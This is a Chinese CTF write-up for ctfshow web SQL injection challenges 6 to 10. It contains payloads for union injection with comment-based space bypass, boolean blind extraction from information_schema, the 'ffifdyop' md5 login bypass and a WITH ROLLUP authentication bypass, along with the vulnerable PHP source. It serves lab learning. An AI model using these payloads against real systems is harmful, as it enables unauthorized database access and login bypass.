zoukankan      html  css  js  c++  java
  • [ctfshow] WEB sql注入

    web6(union联合注入)


    1、用bp fuzz,过滤了空格,用/**/绕过

    2、union联合查询
    判断列数:

    'union/**/select/**/1,2,3#

    奇怪,order by不行啊
    爆库:

    'union/**/select/**/1,group_concat(schema_name),3/**/from/**/information_schema.schemata#

    (库名测一下,在第2字段)

    爆表:

    'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web2"#

    爆字段:
    'union/**/select/**/1,group_concat(column_name),1/**/from/**/information_schema.columns/**/where/**/table_name="flag"#

    爆数据:
    'union/**/select/**/1,group_concat(flag),3/**/from/**/web2.flag#

    web7(bool盲注)

    1、点开3个列表,url出现id参数且有对应的值
    2、加单引号,它就没报错 ,奇怪啊
    ?1'%23,加注释把后面的单引号注释掉,相当于select * from table where id='1'%23',和原页面一样
    ?id=1'/**/and/**/1=1%23 和原页面一样
    ?id=1'/**/and/**/1=2%23 无查询结果
    说明是字符型注入
    3、用bp fuzz,过滤了空格,用/**/绕过
    4、用union select和报错注都没回显,尝试盲注

    爆库:
    ?id=-1'/**/or/**/ascii(substr(database(),1,1))=1%23

    库名:web7

    爆表:

    ?id=-1'/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))=1%23

    ("web7")

    表名:flag

    爆字段:
    ?id=-1'/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))=1%23

    爆数据:
    ?id=-1'/**/or/**/ascii(substr((select/**/flag/**/from/**/web7.flag/**/limit/**/0,1),1,1))=1%23

    s="102 108 97 103 123 48 50 56 50 50 54 98 48 45 57 101 48 52 45 52 54 48 55 45 57 48 52 100 45 100 100 56 101 99 98 56 102 100 56 55 55 125"
    flag=''
    for i in [int(i) for i in s.split()]:
        flag += chr(i)
    print(flag)
    

    python脚本:

    web8(bool盲注)

    1、加单引号,单引号被过滤了?

    2、打开bp fuzz,过滤了空格、单引号、逗号union、and
    ?id=1/**/&&/**/1=1%23 与原始页面一样
    (anandd不行,有双引号检测呢吧)
    ?id=1/**/&&/**/1=2%23 与原始页面一与
    说明是字符型注入

    3、过滤了union关键字,联合注入不行

    尝试bool盲注

    总结

    盲注中绕过逗号:用substr(str from start for len)代替substr(str,start,len)

    web9(md5绕过)

    0、打开题目就是这样

    1、
    select * from table where username='admin' and password='' or '1'
    用万能密码,没有回显

    2、用dirsearch扫后台,存在robots.txt,访问index.phps
    3、index.phps:

    <?php
            $flag="";
    		$password=$_POST['password'];
    		if(strlen($password)>10){
    			die("password error");
    		}
    		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
    		$result=mysqli_query($con,$sql);
    			if(mysqli_num_rows($result)>0){
    					while($row=mysqli_fetch_assoc($result)){
    						 echo "登陆成功<br>";
    						 echo $flag;
    					 }
    			}
    

    意思就是:

    • 只输入密码
    • 密码长度不超过10位
    • $password进行md5加密,如果sql语句为:select * from user where username ='admin' and password =''or'2xxx',假 or 真,为真。那么只需要找一个字符串,md5加密后有'or'数字(数字不能是0)即可。
      害,直接用网上的吧:
       ffifdyop
       129581926211651571912466741651878684928

    所以密码直接输ffifdyop。

    总结

    sql注入中的md5(str, TRUE)绕过

    • select * from user where username ='admin' and password =''or'6�]��'
      假 or 真,为真
      (因为在mysql里,字符串或变量作布尔型判断时,以数字开头的字符串会忽略数字后面的字符。例:password=‘xxx’ or ‘1xxx’,那么就相当于password=‘xxx’ or 1,结果为true。)

    • select * from user where username ='admin' and password ='��'or'8'
      假 or 真,为真

    payload:
    ffifdyop
    129581926211651571912466741651878684928

    web10



    1、源码:

    <?php
    	$flag="";
    	//过滤几个关键字
            function replaceSpecialChar($strParam){
                 $regex = "/(select|from|where|join|sleep|and|s|union|,)/i";
                 return preg_replace($regex,"",$strParam);
            }
            if (!$con)
            {
                die('Could not connect: ' . mysqli_error());
            }
    	//不能双写绕过
    	if(strlen($username)!=strlen(replaceSpecialChar($username))){
    		die("sql inject error");
    	}
    	if(strlen($password)!=strlen(replaceSpecialChar($password))){
    		die("sql inject error");
    	}
    	$sql="select * from user where username = '$username'";
    	//查询数据库
    	$result=mysqli_query($con,$sql);
    	if(mysqli_num_rows($result)>0){//查询结果行数>0
    		while($row=mysqli_fetch_assoc($result)){//关联数组
    			if($password==$row['password']){
    				echo "登陆成功<br>";
    				echo $flag;
    			}
    		}
    	}
        ?>
    

      mysql中,有一个with rollup关键字,是在group by分组的基础上再进行分组。一般用group by进行分组后,列的属性值不同,加上with rollup会多出一行列为null的新数据

      利用with rollup使sql查询结果结果为null,之后,输入密码为空,即可使(password==)row['password']

      payload:'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

      sql:select * from user where username=' 'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP# '

    笔记

    https://www.runoob.com/mysql/mysql-group-by-statement.html
    mysql的with rollup语句

  • 相关阅读:
    CodeForces.1174D.EhabandtheExpectedXORProblem(构造前缀异或和数组)
    HDU-6187.DestroyWalls(最大生成树)
    HDU.6186.CSCource.(前缀和数组和后缀和数组)
    <每日一题>Day 9:POJ-3281.Dining(拆点 + 多源多汇+ 网络流 )
    <每日一题> Day8:CodeForces-996A.Hit the Lottery(贪心)
    最小割 + 网络流变体
    <每日一题> Day7:CodeForces-1166C.A Tale of Two Lands (二分 + 排序)
    <每日一题> Day6:HDU递推专题完结
    <每日一题> Day5:简单递推两题
    POJ-3122.Pie(二分法最大化平均值)
  • 原文地址:https://www.cnblogs.com/wrnan/p/13523005.html
Copyright © 2011-2022 走看看